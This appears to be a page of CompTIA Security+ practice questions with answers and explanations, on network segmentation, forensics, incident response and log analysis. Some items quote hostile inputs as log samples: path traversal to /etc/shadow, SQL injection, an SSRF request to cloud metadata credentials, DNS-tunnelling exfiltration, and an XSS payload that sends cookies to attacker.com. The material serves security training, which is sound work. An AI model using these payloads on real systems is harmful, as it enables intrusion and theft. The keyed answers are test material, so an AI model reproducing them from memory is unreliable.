Examkin

Tüm alıştırma soruları

2232 soru

Tüm türler2,232Çoktan seçmeli1,151Çoklu seçim509Sayısal21Eşleştirme378Sıralama173
Soru 921Soru →

A security operations team at a commercial enterprise needs to proactively monitor illicit underground marketplaces and non-indexed digital forums for stolen employee credentials and compromised API keys. Which threat intelligence source type best fulfills this requirement?

Cevabı ve açıklamayı göster

Cevap: Dark web threat intelligence feeds

Cevap

Dark web threat intelligence feeds are designed to monitor non-indexed networks and underground marketplaces for leaked organizational assets such as employee credentials.
Dark web threat intelligence specializes in crawling and analyzing darknets, hidden services, and invite-only criminal cyber forums. It allows organizations to proactively identify leaked sensitive data, such as compromised employee logins or secret keys, before attackers leverage them for initial access.

Adım Adım Çözüm

1
Analyze the operational requirement in the scenario.
The goal is to monitor non-indexed forums and illicit underground marketplaces specifically for compromised corporate credentials and API keys.
Understanding the specific operational outcome determines which threat intelligence source specialization is required.
2
Evaluate candidate threat intelligence source types.
Dark web threat intelligence specifically gathers intelligence from encrypted, non-indexed networks (e.g., Tor, I2P) and illicit forums where criminal actors trade stolen data.
Standard search engines and vulnerability repositories do not index or cover these illicit underground criminal networks.
3
Confirm why alternative options do not meet the primary requirement.
Vulnerability databases publish software flaws, APT advisories focus on strategic nation-state motivations, and WAF feeds act as preventive filtering mechanisms.
None of these alternatives cover the continuous monitoring of underground criminal marketplaces for compromised organizational assets.

Anahtar Kavram

Threat Intelligence Sources and Research
Soru 922Soru →

A municipal transit authority is deploying connected physical traffic signal controllers deployed across city intersections. The controllers transmit real-time telemetry to a central management server and receive timing synchronization updates. If an attacker gains physical access to a single controller on a street pole, the security team must prevent the attacker from moving laterally to other signal controllers on the network. Which of the following network design strategies best achieves this objective?

Cevabı ve açıklamayı göster

Cevap: Implement microsegmentation and strict access policies to isolate traffic between individual signal controllers.

Cevap

Microsegmentation and strict access policies should be implemented to restrict traffic between individual signal controllers.
Microsegmentation logically divides network environments into granular isolation zones down to individual workloads or devices. By enforcing strict access policies on East-West traffic, microsegmentation ensures that even if an attacker physically compromises a signal controller at an intersection, they cannot pivot or move laterally to other controllers on the same network segment.

Adım Adım Çözüm

1
Identify the primary security requirement in the scenario.
The requirement is preventing lateral movement (East-West traffic traversal) if a physically exposed edge device is compromised.
Physical tampering at an intersection endpoint presents a risk of pivoting across the municipal infrastructure.
2
Evaluate network design isolation strategies.
Microsegmentation creates granular boundaries down to individual device workloads, blocking lateral communications between peer devices.
Standard VLANs or perimeter-only firewalls still allow trusted communication between nodes in the same zone.
3
Select the optimal control mechanism.
Microsegmentation enforces least privilege network access between controllers.
It stops East-West lateral movement directly at the network/workload boundary.

Anahtar Kavram

Microsegmentation and East-West Traffic Isolation
Soru 923Soru →

A security auditor is examining backend service logs following an unauthorized access report on a cloud microservice. The auditor observes two distinct request patterns:

1. `GET /documents/download?path=../../../../etc/shadow` returning HTTP `200 OK` along with system credential hashes.
2. `PUT /api/v1/profile` with payload `{"username": "jdoe", "is_admin": true}` resulting in a regular user successfully assigning themselves administrator rights.

Based on these findings, which of the following software vulnerabilities are present in the application? (Select TWO.)

Geçerli olan tümünü seçin

Cevabı ve açıklamayı göster

Cevap: Path traversal; Mass assignment

Cevap

The application exhibits path traversal (directory traversal) and mass assignment (auto-binding) vulnerabilities.
The first log entry demonstrates path traversal because directory navigation operators (`../`) were executed to retrieve system files outside the web root. The second log entry demonstrates mass assignment because client-controlled JSON key-value pairs were automatically bound to internal object properties (`is_admin`), resulting in unauthorized privilege escalation.

Adım Adım Çözüm

1
Analyze the first log indicator `GET /documents/download?path=../../../../etc/shadow`.
Identified path traversal sequence (`../`) allowing absolute directory escape to access sensitive OS files.
Input parameters are used directly in file system file-access APIs without proper path canonicalization or sanitization.
2
Analyze the second log indicator `PUT /api/v1/profile` with payload `{"username": "jdoe", "is_admin": true}`.
Identified mass assignment vulnerability where unmanaged HTTP parameter binding modifies protected object attributes.
Framework auto-binds request keys to internal data models without enforcing strict field allowlists.

Anahtar Kavram

Software Vulnerabilities and Logic Flaws (Path Traversal & Mass Assignment)
Soru 924Soru →

During an incident response investigation involving a compromised enterprise database server suspected of running an in-memory fileless payload, a forensic team must preserve digital evidence for potential judicial proceedings. Which of the following procedures should the team perform FIRST to adhere strictly to the order of volatility?

Cevabı ve açıklamayı göster

Cevap: Capture the contents of volatile system memory to external forensic media.

Cevap

Capturing the contents of volatile system memory to external forensic media must be performed first.
Capturing the contents of volatile system memory to external forensic media is the correct action because system RAM ranks higher in the order of volatility than persistent disk drives. In-memory payloads and volatile system states (such as active network sockets and running processes) are completely lost if the system is powered off or modified prior to acquisition.

Adım Adım Çözüm

1
Identify the data sources present on the target server and categorize them by volatility level.
System RAM contains highly volatile evidence (in-memory malware, network connections, encryption keys), while solid-state and hard disk drives contain non-volatile persistent evidence.
Forensic evidence acquisition must prioritize sources that are lost most rapidly when system state changes.
2
Apply the standard forensic Order of Volatility principles.
System RAM and CPU registers/cache precede persistent storage media such as hard drives and network shares.
Adhering to the RFC 3227 order of volatility ensures the preservation of transient artifacts before taking actions that alter system memory.
3
Execute memory dump procedures prior to powering off or taking disk images.
Volatile artifacts are saved to isolated, sanitized external media with integrity hashes logged.
This preserves the in-memory fileless payload without inadvertently wiping system memory during a power cycle or disk capture.

Anahtar Kavram

Order of Volatility in Digital Forensics
Tahmini Süre:1m 15s
Soru 925Soru →

A security analyst is hardening administrative workstations used by system engineers to manage enterprise infrastructure. Security monitoring reveals that attackers frequently attempt to execute unauthorized scripts and portable binaries directly from user temporary directories such as `%TEMP%` and `%APPDATA%`. Which mitigation strategy best prevents the execution of these unapproved binaries while maintaining administrative functionality?

Cevabı ve açıklamayı göster

Cevap: Implement application allowlisting policies that restrict software execution based on file paths, digital signatures, and cryptographic hashes.

Cevap

Implementing application allowlisting policies that restrict software execution based on file paths, digital signatures, and cryptographic hashes is the most effective mitigation strategy.
Application allowlisting operates as a host-based preventive control that specifies exactly which scripts, binaries, and libraries are permitted to run based on publisher signatures, hashes, or trusted paths. By enforcing an implicit deny posture for unapproved paths like `%TEMP%` and `%APPDATA%`, it prevents execution of unauthorized software.

Adım Adım Çözüm

1
Analyze the threat vector identified in the scenario.
The primary threat is the local execution of unapproved binaries and scripts from writable temporary directories (%TEMP% and %APPDATA%).
Temporary directories are world-writable by default, making them common targets for executing unauthorized or malicious payloads.
2
Evaluate the required security control type.
A preventive host-based control is required to actively block unapproved application execution.
Detective controls (like logging/FIM) or perimeter controls (like NIPS/MFA) do not stop the local binary from running.
3
Identify the host hardening technique that restricts executable permission based on trust boundaries.
Application allowlisting (such as AppLocker or Software Restriction Policies) prevents binaries outside trusted paths or lacking valid vendor signatures from running.
Allowlisting defaults to implicit deny, ensuring only verified software executes regardless of user write permissions in temporary folders.

Anahtar Kavram

Application Allowlisting and Enterprise Host Hardening
Soru 926Soru →

A system administrator is tasked with improving server network availability for a critical database host. The host currently has a single network cable connected to a core switch, creating a single point of failure if the switch port or cable fails. The administrator installs a second network interface card (NIC) and connects it to a separate switch. Which of the following should the administrator configure on the server operating system to combine these adapters into a fault-tolerant network connection?

Cevabı ve açıklamayı göster

Cevap: NIC teaming

Cevap

NIC teaming should be configured to group physical network cards into a single redundant interface.
NIC teaming allows multiple physical network interfaces on a host to function as a single logical network interface. In the event of a cable, port, or NIC hardware failure, network traffic automatically routes through the surviving adapter, maintaining high availability without interruption.

Adım Adım Çözüm

1
Identify the availability requirement in the scenario.
The requirement is local server network interface fault tolerance to eliminate single points of failure at the cable, port, or NIC level.
Connecting multiple NICs to separate switches requires OS-level bonding/teaming to manage active-passive or active-active traffic failover.
2
Evaluate the technology that binds network adapters for fault tolerance.
NIC teaming (also known as bond interface or IEEE 802.3ad link aggregation depending on implementation) groups multiple adapters into a virtual interface.
If one physical link loses connectivity, traffic seamlessly shifts to the remaining adapter without dropping active network sessions.
3
Differentiate network interface redundancy from storage or disaster recovery controls.
RAID protects storage disks, MPIO manages SAN storage connections, and cold sites deal with facility recovery.
Selecting NIC teaming specifically addresses the host network adapter and switch connection layer.

Anahtar Kavram

NIC Teaming and Link Redundancy
Soru 927Soru →

A security analyst is reviewing Linux authentication log entries forwarded to a SIEM aggregator from host server1:

Jul 27 14:10:01 server1 sshd[1042]: Failed password for root from 198.51.100.45 port 49210 ssh2
Jul 27 14:10:03 server1 sshd[1044]: Failed password for root from 198.51.100.45 port 49212 ssh2
Jul 27 14:10:05 server1 sshd[1046]: Failed password for root from 198.51.100.45 port 49215 ssh2
Jul 27 14:10:08 server1 sshd[1049]: Accepted password for root from 198.51.100.45 port 49218 ssh2

Based on these log entries, which TWO of the following conclusions can be accurately drawn regarding this security event? (Select TWO)

Geçerli olan tümünü seçin

Cevabı ve açıklamayı göster

Cevap: An SSH brute-force authentication attack was executed from IP address 198.51.100.45.; The attacker successfully authenticated and gained system access as the root user.

Cevap

The logs demonstrate an SSH brute-force password attack from IP address 198.51.100.45 that ultimately resulted in a successful authentication compromise of the root user.
The sequence of rapid password failures followed by an accepted password entry confirms both an SSH brute-force attempt from IP address 198.51.100.45 and a successful account compromise of the root user.

Adım Adım Çözüm

1
Inspect the failure pattern in the SSH service log stream.
Identified three consecutive password failure messages from source IP 198.51.100.45 within a seven-second window targeting root.
Rapid sequential failed login attempts from a single IP address indicate an SSH password brute-force attack.
2
Examine the final log line in the sequence.
Observed 'Accepted password for root from 198.51.100.45'.
An 'Accepted password' entry confirms that the authentication mechanism validated the password, indicating a compromised account.

Anahtar Kavram

Log Analysis and SIEM Management
Soru 928Soru →

During a security audit of a cloud-hosted web application, an analyst reviews HTTP traffic for a feature that imports custom user avatars from external URLs. The logs show an HTTP request to the endpoint `/api/v1/fetch-avatar?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/`. The application returned secret access keys for the underlying cloud server instance to an unauthenticated remote user. Which of the following vulnerabilities was exploited, and what is the primary developer-side remediation?

Cevabı ve açıklamayı göster

Cevap: Server-Side Request Forgery (SSRF); restrict the application server from making unauthorized outbound network requests to internal resource addresses and validate incoming target URLs against an allowlist.

Cevap

Server-Side Request Forgery (SSRF); restrict the application server from making unauthorized outbound network requests to internal resource addresses and validate incoming target URLs against an allowlist.
The scenario describes Server-Side Request Forgery (SSRF). In SSRF attacks, a vulnerable application accepts a user-supplied URL and makes a backend HTTP request to that URL without adequate input validation or network segregation. Because the request originates from the application server itself, it bypasses network boundary protections and accesses internal services—such as the cloud Instance Metadata Service (`169.254.169.254`). Primary mitigations include validating incoming URLs against strict domain/IP allowlists and restricting server egress traffic to block calls to internal IP blocks and metadata addresses.

Adım Adım Çözüm

1
Analyze the request payload in the audit logs
The URL parameter points to `169.254.169.254`, which is the non-routable IPv4 link-local address reserved for Cloud Instance Metadata Services (IMDS).
Identifying the target IP address clarifies whether the request targets external public resources or internal cloud infrastructure endpoints.
2
Identify the core application vulnerability
The web application processes user-supplied URLs and issues HTTP requests from the backend server to internal resources without restricting destination domains or IP ranges, characteristic of Server-Side Request Forgery (SSRF).
SSRF occurs when a backend server acts as a proxy for an attacker, sending HTTP requests on their behalf to internal network locations.
3
Determine the effective remediation control
Validate and filter user-supplied input against strict URL allowlists, and enforce network-level network egress rules/firewalls preventing web application servers from communicating with metadata addresses (169.254.169.254) or local loopback interfaces.
Restricting backend outbound routing combined with input URL filtering effectively blocks SSRF vectors.

Anahtar Kavram

Server-Side Request Forgery (SSRF) and Cloud Metadata Protection
Soru 929Soru →

A security investigator is tasked with preserving digital evidence from a workstation suspected of being involved in unauthorized file transfers. Which of the following procedures must the investigator follow to ensure evidence integrity and maintain a legally defensible chain of custody? (Select TWO.)

Geçerli olan tümünü seçin

Cevabı ve açıklamayı göster

Cevap: Calculate and log cryptographic hash values of the storage media immediately upon acquisition and after creating an image.; Record every transfer of evidence, including dates, times, handler identities, and transfer purposes on a standardized form.

Cevap

The investigator must calculate cryptographic hash values to verify data integrity and maintain a complete log of evidence transfers, timestamps, and handlers to preserve the chain of custody.
Computing cryptographic hashes guarantees that the bit-stream copy exactly matches the source media at the point of acquisition. Documenting all evidence handlers, timestamps, and transfer reasons provides proof of possession and prevents claims of evidence tampering.

Adım Adım Çözüm

1
Perform bit-stream imaging and compute cryptographic hashes.
Establishes a baseline mathematical proof (integrity verification) showing that the forensic copy is identical to the original target disk.
Any alteration to the drive contents changes the resulting hash value, making post-acquisition hashing necessary to prove data was uncorrupted.
2
Complete and continuously update the chain of custody documentation.
Establishes an unbroken record showing who handled the evidence, when it was transferred, and where it was securely stored.
Without continuous documentation of control and possession, digital evidence can be ruled inadmissible in legal proceedings.

Anahtar Kavram

Evidence Preservation and Chain of Custody Maintenance
Soru 930Soru →

A security engineer is redesigning the network architecture for an automated logistics center. The facility incorporates smart building controllers (HVAC, environmental sensors, and smart lighting) that must continuously transmit status metrics outbound to a cloud management service. However, corporate compliance requires that these controllers must be strictly prohibited from initiating connection requests to the internal database servers or corporate workstations hosting sensitive supply chain data. Which of the following network architecture strategies best fulfills these requirements while reducing lateral movement risk?

Cevabı ve açıklamayı göster

Cevap: Place smart building controllers into a dedicated microsegmented VLAN with firewall policies permitting restricted outbound traffic to the cloud service while blocking East-West traffic to internal corporate zones.

Cevap

Place smart building controllers into a dedicated microsegmented VLAN with firewall policies permitting restricted outbound traffic to the cloud service while blocking East-West traffic to internal corporate zones.
Placing smart controllers into a microsegmented VLAN with specific firewall egress rules satisfies both requirements: it allows outbound telemetry to the vendor's cloud service while preventing lateral (East-West) traffic to internal database servers and corporate workstations.

Adım Adım Çözüm

1
Analyze the operational and security requirements
Smart sensors require outbound (North-South) cloud communication, but must be prevented from connecting laterally (East-West) to internal enterprise assets.
Segmenting IoT and smart infrastructure limits breach blast radiuses while maintaining necessary operational connectivity.
2
Evaluate network isolation and traffic control options
Microsegmentation creates granular security boundaries around device classes, enforcing access policies that allow outbound cloud traffic while denying internal cross-zone connection requests.
Proper secure network design enforces Zero Trust principles by restricting lateral movement between distinct security tiers.

Anahtar Kavram

Network Microsegmentation and East-West Traffic Isolation
Soru 931Soru →

Match each observed network or wireless technical indicator on the left to its corresponding attack classification on the right.

Soldaki öğeye tıklayın, sonra eşleşen sağdaki öğeye tıklayın

Öğeler

Network telemetry exhibiting a high volume of TCP SYN frames originating from a single IP targeting sequential destination ports, accompanied by immediate TCP RST/ACK responses.
Capture log exhibiting a flood of unauthenticated 802.11 management frames containing Reason Code 7 sent to client workstations using the MAC address of a legitimate access point.
DHCP server logs demonstrating rapid exhaustion of the available IP scope caused by thousands of distinct MAC addresses generated continuously from a single physical switch port.
Wireless site survey logs revealing an unauthorized access point broadcasting the corporate SSID with a stronger RSSI but configured with mismatched security authentication requirements.

Eşleşmeler

Cevabı ve açıklamayı göster

Cevap

Port Scanning matches TCP SYN probes across sequential ports. Deauthentication Attack matches 802.11 management frame floods with reason codes. DHCP Starvation matches rapid IP scope exhaustion via MAC address spoofing. Evil Twin matches unauthorized access points spoofing corporate SSIDs with mismatched security settings.
Each attack type exhibits unique packet and log signatures: Port scanning shows systematic connection probes across port ranges; Deauthentication attacks exploit unauthenticated 802.11 management frames; DHCP starvation exhausts IP scopes using spoofed MACs; Evil Twin attacks mimic legitimate wireless SSIDs.

Adım Adım Çözüm

1
Analyze indicator left_1
Sequential TCP SYN requests returning TCP RST/ACK indicate active network probing across closed/open ports.
Recognize reconnaissance patterns in TCP traffic.
2
Analyze indicator left_2
802.11 management frames containing reason codes (e.g., Reason Code 7 for Class 3 frame received from nonassociated STA) sent to wireless clients cause immediate disconnects.
Identify wireless denial-of-service indicators at the MAC layer.
3
Analyze indicator left_3
Rapid exhaustion of DHCP leases from spoofed MAC addresses depletes the IP pool.
Identify layer 2/3 protocol resource depletion attacks.
4
Analyze indicator left_4
A rogue AP imitating a legitimate SSID to harvest credentials or conduct on-path attacks represents an Evil Twin setup.
Distinguish between Rogue AP and Evil Twin based on SSID spoofing.

Anahtar Kavram

Network and Wireless Attack Indicators
Soru 932Soru →

A security analyst captures an image of a hard drive from a compromised workstation during an active incident. Which of the following should the analyst perform immediately after acquiring the disk image to prove that the evidence remains unaltered?

Cevabı ve açıklamayı göster

Cevap: Calculate and record a cryptographic hash of the original drive and the created image.

Cevap

Calculating and recording cryptographic hashes of both the original media and the disk image establishes evidence integrity.
Computing cryptographic hash values immediately after drive acquisition generates a unique mathematical fingerprint of the source and target image. Matching hashes demonstrate that the forensic copy is bit-for-bit identical to the source and has not been altered.

Adım Adım Çözüm

1
Identify the primary requirement for maintaining evidence integrity in digital forensics.
Digital evidence must be verifiable as an exact, uncorrupted replica of the source data.
Forensic proof in legal proceedings requires demonstrating that evidence was not modified during or after acquisition.
2
Select the cryptographic mechanism used to verify file and disk image integrity.
Cryptographic hashing algorithms (e.g., SHA-256) create unique fixed-length digests of data.
Matching hash values between the source drive and forensic copy confirm identical data content without altering the evidence.

Anahtar Kavram

Cryptographic Hashing for Evidence Integrity
Soru 933Soru →

Security Information and Event Management (SIEM) systems aggregate and correlate raw telemetry from heterogeneous operating systems and network devices. Match each raw security log entry snippet to the specific security attack vector or operational event type it indicates.

Soldaki öğeye tıklayın, sonra eşleşen sağdaki öğeye tıklayın

Öğeler

192.168.1.104 - - [27/Jul/2026:14:22:10 +0000] "GET /products.php?id=10+UNION+SELECT+1,username,password_hash+FROM+users-- HTTP/1.1" 200 4521
Jul 27 14:23:15 auth-srv sshd[14209]: Failed password for invalid user root from 198.51.100.42 port 49152 ssh2 (repeated 120 times in 30s)
2026-07-27 14:24:02 DST_IP=10.0.4.15 SRC_IP=192.168.1.50 PROTO=DNS QUERY=a666b61726b6574696e67.exfil.attacker-domain.com TYPE=TXT BYTES_OUT=4096
EventID: 4672, SubjectUserSid: S-1-5-21-397955417-626881126-188441444-1105, Privileges: SeDebugPrivilege, SeTcbPrivilege, SeImpersonatePrivilege

Eşleşmeler

Cevabı ve açıklamayı göster

Cevap

Each log snippet corresponds to its distinct event pattern: web access logs containing SQL syntax match SQL Injection exfiltration; rapid daemon SSH failures match SSH authentication brute-force; oversized TXT DNS queries with subdomains match DNS tunneling; and Windows Event ID 4672 with administrative privileges matches Windows sensitive privilege assignment.
Security event telemetry is categorized by analyzing protocol identifiers, signature payloads, and event codes. Web server logs containing SQL operators represent SQL Injection. Syslog authentication logs recording high-frequency failures represent SSH brute-force attacks. DNS logs displaying encoded subdomains and large TXT outputs represent DNS tunneling exfiltration. Windows Security Event ID 4672 specifically identifies administrative user privilege assignments upon session establishment.

Adım Adım Çözüm

1
Analyze web server HTTP access log parameter syntax
Identified 'UNION SELECT' operators in the query parameters as an active SQL Injection exfiltration attempt
The attacker forces the database to evaluate structural SQL commands and join user credential tables into the response
2
Analyze Linux Syslog sshd authentication events
Identified repeated failed password events (120 attempts within 30 seconds) as an SSH brute-force attack
Automated authentication tools rapidly attempt candidate credentials against exposed remote access interfaces
3
Analyze network protocol log showing DNS query details
Identified encoded subdomain strings inside TXT record queries carrying large data payloads as DNS tunneling
Malicious software encapsulates data inside DNS queries to bypass standard web proxy and firewall filtering
4
Analyze Windows Security Event log ID and privilege list
Identified Event ID 4672 alongside SeDebugPrivilege assignment as Windows sensitive privilege assignment
Windows Security Auditing generates Event ID 4672 whenever elevated privileges are attached to a newly created security token

Anahtar Kavram

Log signature identification and SIEM telemetry classification across heterogeneous enterprise security controls
Soru 934Soru →

A security analyst is reviewing web server access logs aggregated by a central SIEM platform. The log inspection view displays the following entry:

`192.168.4.12 - - [27/Jul/2026:10:15:32 +0000] "GET /search.php?q=<script>document.location='http://attacker.com/steal.php?cookie='+document.cookie</script> HTTP/1.1" 200 4520`

Based on the payload contained in this log entry, which security threat is taking place?

Cevabı ve açıklamayı göster

Cevap: Cross-Site Scripting (XSS) attack attempting to hijack client session cookies

Cevap

Cross-Site Scripting (XSS) attack attempting to hijack client session cookies
The correct answer identifies Cross-Site Scripting (XSS). The log snippet clearly shows an HTTP GET request carrying client-side JavaScript (`<script>document.location=...</script>`) in the query parameter `q`. This script accesses the victim's session cookie via `document.cookie` and attempts to send it to an external server (`attacker.com`).

Adım Adım Çözüm

1
Examine the HTTP request string in the web access log entry.
Identified the query parameter value: `q=<script>document.location='http://attacker.com/steal.php?cookie='+document.cookie</script>`.
Log payloads reveal the exact input sent from the client machine to the web application.
2
Analyze the construct of the injected payload.
The string contains client-side JavaScript wrapped inside HTML `<script>` elements designed to access `document.cookie`.
Scripts that access client-side browser DOM properties and send them to an external location characterize Cross-Site Scripting.
3
Select the option that matches the identified threat payload.
Confirmed the event represents a Cross-Site Scripting (XSS) attack targeting session cookies.
XSS exploits trust in a web application to execute arbitrary script code in a victim's browser.

Anahtar Kavram

Log Analysis and Web Attack Pattern Identification
Soru 935Soru →

A digital forensics analyst must collect evidence from a powered-on virtual machine host following an active intrusion. In what sequence should the analyst capture the following evidence sources, starting from the most volatile to the least volatile?

Öğeleri doğru sıraya koymak için sürükleyin

Cevabı ve açıklamayı göster

Cevap

The correct sequence from most volatile to least volatile is: CPU registers and CPU cache memory, followed by System RAM, Swap space and paging files, Local persistent disk storage, and finally Offsite archival tape backups.
Order of Volatility dictates collecting evidence in sequence of how quickly data is lost or altered. The order moves from CPU registers/cache (microsecond volatility), to system RAM (volatile RAM state), swap/pagefiles (temporary disk storage), local persistent disks (non-volatile system storage), and finally offsite archival backups (static offline storage).

Adım Adım Çözüm

1
Identify the volatility level of CPU-internal components.
CPU registers and cache are placed first because data is overwritten almost instantaneously.
According to RFC 3227 standards for order of volatility, CPU registers change continuously with execution cycles and represent the highest volatility.
2
Capture physical system memory (RAM).
System RAM is extracted immediately after CPU cache before system power down or state changes.
RAM contains live processes, active network connections, and encryption keys that disappear when powered off.
3
Acquire temporary disk-backed memory artifacts.
Swap space and pagefiles are collected third.
Swap/paging files reside on disk but hold temporary memory structures vulnerable to kernel reallocation.
4
Perform bit-stream imaging of persistent local drives.
Local SSD/HDD persistent storage is imaged fourth.
Persistent disk data remains intact across reboots and is less volatile than system memory.
5
Retrieve long-term backup archives.
Offsite backup tapes are logged last.
Archival media is stable, read-only/offline, and has the lowest rate of data change.

Anahtar Kavram

Order of Volatility in Digital Forensics
Soru 936Soru →

An incident response analyst confirms that an on-premises virtual machine hosting a critical enterprise database is actively communicating with a known malicious external C2 server and executing an unauthorized encryption routine on local volumes. What is the immediate next step the analyst should take in accordance with standard incident response playbooks?

Cevabı ve açıklamayı göster

Cevap: Isolate the virtual machine from the network segment while maintaining system power to preserve volatile memory artifacts.

Cevap

Isolate the virtual machine from the network segment while maintaining system power to preserve volatile memory artifacts.
Under standard incident response lifecycle frameworks, containment is the mandatory immediate phase once an active threat is identified. Isolating the virtual machine at the network layer stops command-and-control communications and prevents lateral movement across the enterprise network. Maintaining system power ensures volatile memory (RAM) is preserved for forensic collection.

Adım Adım Çözüm

1
Identify the active incident response phase
The incident is actively occurring with active malicious beaconing and volume encryption.
Active threats require immediate containment under NIST SP 800-61 guidelines.
2
Perform host containment while preserving forensic evidence
Disconnect network access to the virtual machine without turning off power.
Network isolation prevents lateral movement and exfiltration while preserving volatile RAM data.
3
Defer eradication and recovery until containment is complete
Avoid premature restoration or host destruction.
Executing eradication or recovery while active C2 sessions exist leads to re-compromise.

Anahtar Kavram

Incident Response Lifecycle Phase Order and Host Isolation
Soru 937Soru →

A security architect is updating the enterprise storage protection strategy to safeguard sensitive data at rest and during access operations. Match each storage security control on the left with its primary operational mechanism on the right.

Soldaki öğeye tıklayın, sonra eşleşen sağdaki öğeye tıklayın

Öğeler

Storage Area Network (SAN) LUN Masking
Hardware Security Module (HSM)
Database Tokenization
Endpoint Data Loss Prevention (DLP)

Eşleşmeler

Cevabı ve açıklamayı göster

Cevap

SAN LUN Masking maps to restricting storage volume access by host WWNs/iSCSI initiators. Hardware Security Module (HSM) maps to tamper-resistant hardware key lifecycle management. Database Tokenization maps to replacing sensitive data elements with non-sensitive surrogate tokens. Endpoint Data Loss Prevention (DLP) maps to monitoring local drive and removable media operations to prevent unauthorized data extraction.
Each storage security control fulfills a distinct architectural role: SAN LUN masking controls host-level access to SAN storage volumes, HSM safeguards root cryptographic keys in dedicated physical hardware, Tokenization obfuscates sensitive values without mathematical key ciphering, and Endpoint DLP prevents local data exfiltration.

Adım Adım Çözüm

1
Analyze storage access controls.
SAN LUN masking configures storage controllers to restrict logical unit number exposure to authorized host identifiers (WWNs/iSCSI initiators).
This enforces storage isolation in SAN environments.
2
Analyze cryptographic hardware controls.
HSM protects key management operations inside tamper-evident physical boundaries.
This prevents root key exposure or theft.
3
Analyze data protection and obfuscation controls.
Tokenization substitutes sensitive fields with non-sensitive tokens while storing mapping tables securely.
This reduces regulatory scope while preserving database formatting.
4
Analyze data loss prevention controls.
Endpoint DLP inspects local endpoints to prevent unauthorized copying of sensitive files to removable storage.
This mitigates insider threat and accidental data exfiltration.

Anahtar Kavram

Enterprise Data Protection and Storage Architecture Controls
Soru 938Soru →

A security architect is designing a jump box administrative access path for a high-security internal database zone. Arrange the sequence of network traffic flows and security enforcement controls in the correct order, starting from the administrator's initial remote connection attempt and ending at the destination database server.

Öğeleri doğru sıraya koymak için sürükleyin

Cevabı ve açıklamayı göster

Cevap

The correct sequence starts with external traffic entering the perimeter DMZ to contact the bastion host, followed by multi-factor authentication on the bastion host, then initiating a separate internal connection from the bastion host, and finally passing internal firewall microsegmentation checks to access the database server.
Secure network administrative access relies on a multi-tier defense-in-depth sequence: traffic first enters the management DMZ via the perimeter firewall, requires strong authentication on the jump box, originates a brand-new internal session from the jump box, and is strictly filtered by internal firewall microsegmentation rules before touching sensitive internal assets.

Adım Adım Çözüm

1
Inbound Ingress to DMZ
The initial remote session passes through the outer edge firewall and terminates at the dedicated bastion host in the DMZ segment.
Direct management traffic from external networks to internal zones must be blocked at the perimeter; all management ingress must terminate in a screened management zone.
2
Identity & Posture Validation
The administrator authenticates via MFA on the jump box to unlock management capabilities.
Security controls on the jump server ensure only authenticated administrators with valid privileges can launch internal sessions.
3
Secondary Session Initiation
A secondary, isolated connection is launched from the jump box across the internal network boundary.
Breaching protocol continuation (session break) prevents direct pass-through tunneling from external clients into core internal networks.
4
Microsegmentation Policy Enforcement
The internal firewall verifies that ingress to the database zone is restricted to the specific bastion host IP and allowed protocol/port.
Microsegmentation enforces least privilege network access, ensuring database servers only accept connections from trusted administrative jump hosts.

Anahtar Kavram

Secure Network Transit & Bastion Architecture
Soru 939Soru →

During a routine security audit of a branch facility, automated network telemetry alerts the security team to an unrecognized hardware tap connected to an unmonitored wall jack in a visitor conference room. The device is actively establishing an outbound covert encrypted tunnel to an external command-and-control server while performing stealthy ARP scanning across the local corporate subnet. According to standard incident response playbooks, which of the following actions should the incident response team take FIRST during the containment phase? (Select TWO.)

Geçerli olan tümünü seçin

Cevabı ve açıklamayı göster

Cevap: Administratively disable the specific network switch port connected to the conference room wall jack to halt active lateral scanning and C2 traffic.; Capture volatile network traffic samples and memory artifacts from the active connection prior to physically disconnecting or powering down the device.

Cevap

The incident response team should administratively disable the specific switch port linked to the unauthorized device and capture volatile memory and network traffic artifacts before physically disconnecting the hardware.
Targeted containment of an active hardware threat requires immediate isolation of its network interface (disabling the switch port) to halt C2 activity and lateral movement, combined with non-destructive volatile evidence capture (network traffic and memory dumps) prior to physical device intervention.

Adım Adım Çözüm

1
Isolate the compromised network segment at the access layer switch
The rogue device's network access is severed, stopping command-and-control communications and internal scanning.
Immediate containment minimizes damage and prevents threat propagation without impacting unrelated network infrastructure.
2
Preserve volatile network traffic and memory state evidence
Transient forensic evidence remains intact for forensic examination.
Disconnecting power prematurely wipes volatile RAM state and active connection tables needed to investigate the scope of compromise.

Anahtar Kavram

Incident Response Containment Strategy & Evidence Preservation
Soru 940Soru →

An enterprise organization is deploying IoT-enabled environmental monitoring sensors throughout its server infrastructure rooms. The sensors require outbound HTTPS communication to a third-party vendor's cloud telemetry platform for automated threshold alerting. However, security policy mandates that these IoT devices must be strictly restricted to prevent lateral movement toward core internal network assets in the event a sensor is compromised. Which of the following network architecture designs best meets these security requirements while enforcing least privilege?

Cevabı ve açıklamayı göster

Cevap: Isolate the environmental sensors on a dedicated VLAN using microsegmentation policies and strict egress filtering that restricts outbound traffic exclusively to the cloud platform's endpoints.

Cevap

Placing the sensors on a dedicated VLAN governed by microsegmentation and restricted egress filtering provides the necessary network isolation and outbound connectivity.
Microsegmentation combined with a dedicated VLAN and strict egress firewalls isolates high-risk IoT devices from internal networks while allowing only necessary outbound connections to specified cloud servers.

Adım Adım Çözüm

1
Analyze functional network communication requirements
Sensors must reach external cloud endpoints over HTTPS (TCP/443).
Air-gapping or completely disabling internet egress breaks required telemetry capabilities.
2
Analyze internal threat mitigation and containment requirements
Internal lateral movement toward corporate data must be blocked.
IoT devices are frequent breach vectors and must be strictly isolated from core subnets.
3
Select network architecture control enforcing least privilege
Combine dedicated VLAN segmentation, microsegmentation policies, and strict egress filtering.
This configuration restricts East-West lateral movement and enforces explicit North-South egress traffic control.

Anahtar Kavram

Secure Network Design and Microsegmentation
ÖncekiSayfa 47 / 112Sonraki
Tüm alıştırma soruları — CompTIA Security+ | Examkin